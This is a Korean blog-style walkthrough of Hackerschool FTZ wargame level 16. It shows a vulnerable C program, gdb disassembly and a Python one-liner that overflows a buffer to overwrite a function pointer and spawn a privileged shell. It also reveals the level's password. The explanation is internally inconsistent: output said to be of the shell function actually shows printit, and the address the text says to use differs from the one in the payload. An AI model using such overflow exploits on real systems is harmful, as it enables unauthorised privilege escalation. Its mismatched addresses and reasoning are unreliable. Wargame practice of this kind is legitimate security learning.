0. 들어가기 전에.
여기까지 오니 슬슬 disas해서 스택을 살펴보는 과정은 (적어도 간단한 프로그램에선) 익숙해지는 것 같다!
1. Level 16
오늘은 함수 포인터에 관한 문제다. 소스코드를 확인해보자!
#include <stdio.h>
void shell() {
setreuid(3097,3097);
system("/bin/sh");
}
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
call();
}
void(*call)()=printit 부분에서 printit의 포인터를 가져와 call()로 실행시켜준다. 즉, 그냥 printit을 실행하는 함수이다. fgets에서 48바이트 입력받으니 오버플로우는 충분히 가능하다. 그럼 우리가 해야 할 일은?
*shell 함수의 메모리 주소를 찾아내 call에 덮어씌우면 된다!
gdb에서 disas shell을 해보니 :
0x08048500 <printit+0>: push ebp
0x08048501 <printit+1>: mov ebp,esp
0x08048503 <printit+3>: sub esp,0x8
0x08048506 <printit+6>: sub esp,0xc
0x08048509 <printit+9>: push 0x80485c0
0x0804850e <printit+14>: call 0x80483a4 <printf>
0x08048513 <printit+19>: add esp,0x10
0x08048516 <printit+22>: leave
0x08048517 <printit+23>: ret
ebp가 08048500을 가리키는 것을 볼 수 있다. 따라서 그냥 저 주소를 BOF공격으로 넣어주면 된다. 우리 배열부터 call 포인터까지의 거리는 main을 disas해보면 알 수 있을것이다 :
0x08048518 <main+0>: push ebp
0x08048519 <main+1>: mov ebp,esp
0x0804851b <main+3>: sub esp,0x38
0x0804851e <main+6>: mov DWORD PTR [ebp-16],0x8048500
0x08048525 <main+13>: sub esp,0x4
0x08048528 <main+16>: push ds:0x80496e8
0x0804852e <main+22>: push 0x30
0x08048530 <main+24>: lea eax,[ebp-56]
0x08048533 <main+27>: push eax
0x08048534 <main+28>: call 0x8048384 <fgets>
0x08048539 <main+33>: add esp,0x10
0x0804853c <main+36>: mov eax,DWORD PTR [ebp-16]
0x0804853f <main+39>: call eax
0x08048541 <main+41>: leave
0x08048542 <main+42>: ret
0x08048543 <main+43>: nop
0x08048544 <main+44>: nop
0x08048545 <main+45>: nop
0x08048546 <main+46>: nop
0x08048547 <main+47>: nop
0x08048548 <main+48>: nop
0x08048549 <main+49>: nop
저번 문제와 똑같이 거리는 40이다. 그럼 공격 코드도 다음과 같을 것이다 :
(python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme
실행하면 Shell을 얻을 수 있다! 이 문제 또한 간단한 것 같다.
비밀번호 : king poetic
Source
- 해커스쿨 FTZ
- Me!